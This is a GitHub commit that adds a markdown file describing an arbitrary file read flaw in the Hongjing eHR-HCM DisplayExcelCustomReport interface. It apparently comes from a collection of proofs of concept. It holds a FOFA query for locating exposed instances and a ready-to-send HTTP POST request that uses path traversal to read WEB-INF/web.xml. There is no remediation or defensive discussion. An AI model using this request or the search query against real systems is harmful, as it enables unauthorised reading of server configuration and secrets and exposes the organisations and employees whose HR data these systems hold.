Create 宏景eHR-HCM-DisplayExcelCustomReport接口存在任意文件读取漏洞.md

This commit is contained in:
wy876 2024-03-01 15:16:23 +08:00 committed by GitHub
parent a9f223f8e7
commit f8903c6aa3
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194

View File

@ -0,0 +1,16 @@
## 宏景eHR-HCM-DisplayExcelCustomReport接口存在任意文件读取漏洞
## fofa
```
app="HJSOFT-HCM"
```
## poc
```
POST /templates/attestation/../../servlet/DisplayExcelCustomReport HTTP/1.1
Host:
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
filename=../webapps/ROOT/WEB-INF/web.xml
```